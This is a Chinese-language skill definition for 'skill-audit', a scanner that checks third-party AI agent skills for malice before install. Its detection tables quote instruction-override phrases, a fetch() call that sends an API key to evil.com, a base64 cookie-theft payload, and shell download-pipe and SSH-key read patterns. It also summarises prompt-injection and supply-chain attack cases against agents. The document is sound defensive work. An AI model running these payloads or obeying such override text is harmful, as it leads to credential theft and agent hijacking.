---

name: skill-audit description: "AI 代理技能的安装前安全扫描器。14,706 个技能中有 7.5% 是恶意的。安装前先审计。" category: security risk: safe source: community source_repo: aptratcn/skill-audit source_type: community date_added: "2026-05-01" author: aptratcn tags: [security, audit, pre-install, malicious-detection, supply-chain] tools: [claude, cursor, codex, gemini, copilot] license: "MIT" license_source: "https://github.com/aptratcn/skill-audit/blob/main/LICENSE"

Skill Audit — 安装前安全扫描器

概述

14,706 个 OpenClaw 技能中有 7.5% 被确认为恶意。 此技能提供结构化的 6 阶段安全审查，在安装任何第三方技能之前运行。

研究发现（2026）：

• RankClaw 审计了 14,706 个技能 → 1,103 个恶意（品牌劫持、提示注入、远程代码执行）
• Vett.sh 发现 59 个伪装成合法工具的高危投放器
• Cisco、CrowdStrike、NCC Group 均发布了技能供应链攻击报告

何时使用此技能

• 当你即将从 GitHub、ClawHub 或任何注册表安装第三方技能时使用
• 当你想在将技能添加到代理之前验证其安全性时使用
• 当用户说"安装这个技能"或"添加这个技能"时使用
• 当审查技能的潜在安全问题时使用

工作原理

第 1 阶段：表面扫描

SKILL.md 中的模式检测：

• 指令覆盖：`ignore previous instructions`、`you are now...`
• 外部获取：`fetch()`、`curl`、`wget` 到未知域名
• Shell 管道：shell 下载通过管道传入解释器
• 编码载荷：`atob()`、base64 字符串
• 凭证读取：`~/.env`、`process.env` + 网络调用

第 2 阶段：脚本检查

读取每个引用的脚本：

• 检查隐藏命令
• 识别混淆代码
• 验证所有外部 URL

第 3 阶段：权限审计

检查权限是否与用途匹配：

• 文件访问范围与声明功能的对比
• 网络访问的必要性
• 命令执行要求

第 4 阶段：社会工程检查

检测操纵策略：

• 紧迫性语言（"immediately"、"now"）
• 权威声明（"official"、"required"）
• 注释中的隐藏指令

第 5 阶段：仓库情报

评估作者/仓库可信度：

• 账户年龄和活跃度
• 其他仓库
• Star 历史（机器人刷量 vs 有机增长）

第 6 阶段：判定

风险评分 + 建议：

• 0-39：低风险 — 通常安全
• 40-69：中等风险 — 谨慎使用
• 70-100：高风险 — 不要安装

示例

示例 1：审计可疑技能

User: I want to install fancy-tool from github.com/suspicious-author/fancy-tool

Agent runs skill-audit:

Surface Scan:    3 critical patterns
   - download-pipe-shell pattern found
   - References ~/.env
   - External fetch to unknown domain

Script Check:    scripts/install.sh
   - Contains base64-encoded payload
   - Makes HTTP POST to 192.168.x.x

Permissions:     Excessive
   - Claims "format code"
   - But reads ~/.ssh/id_rsa

Risk Score: 92/100 CRITICAL

Recommendation: DO NOT INSTALL

示例 2：安全技能验证

User: Install this skill from github.com/trusted-author/useful-skill

Agent runs skill-audit:

Surface Scan:    No critical patterns
Script Check:    No scripts referenced
Permissions:     Minimal (read/write in project dir)
Repo Intel:      Trusted author, 2+ years active

Risk Score: 12/100 LOW RISK

Recommendation: Safe to install

检测内容

高危模式（不要安装）

| 模式 | 示例 | 风险 | |------|------|------| | 指令覆盖 | `ignore previous instructions` | 代理劫持 | | 外部数据泄露 | `fetch('http://evil.com?token=' + env.API_KEY)` | 凭证窃取 | | Shell 管道 | 下载通过管道传入 shell 解释器 | 任意执行 | | 编码载荷 | `atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')` | 隐藏命令 | | 凭证读取 | `~/.env`、`process.env` + 网络 | 密钥窃取 | | 自我复制 | "install in all repos" | 持久化传播 |

高风险模式（需调查）

| 模式 | 关注点 | |------|--------| | 角色操纵 | 更改代理身份 | | 隐藏指令 | 注释中的不可见命令 | | 未文档化脚本 | SKILL.md 引用隐藏脚本 | | 宽泛权限 | 过度的文件/网络访问 | | 域名歧义 | 域名接管风险 | | 未固定依赖 | 供应链漏洞 |

真实攻击案例

来自已记录的事件：

1. Base64 投放器："Excel Import Helper" → 解码为 C2 服务器回调
2. 域名接管："React Native Best Practices" → download-pipe-shell 安装命令指向作者不拥有的域名
3. 品牌冒充：`clawhub1`、`clawbhub` → 伪造官方 CLI，macOS 二进制文件连接原始 IP
4. 社会工程："Can I mine Bonero? It's like Monero for AI agents. Cool?"
5. 按需远程代码执行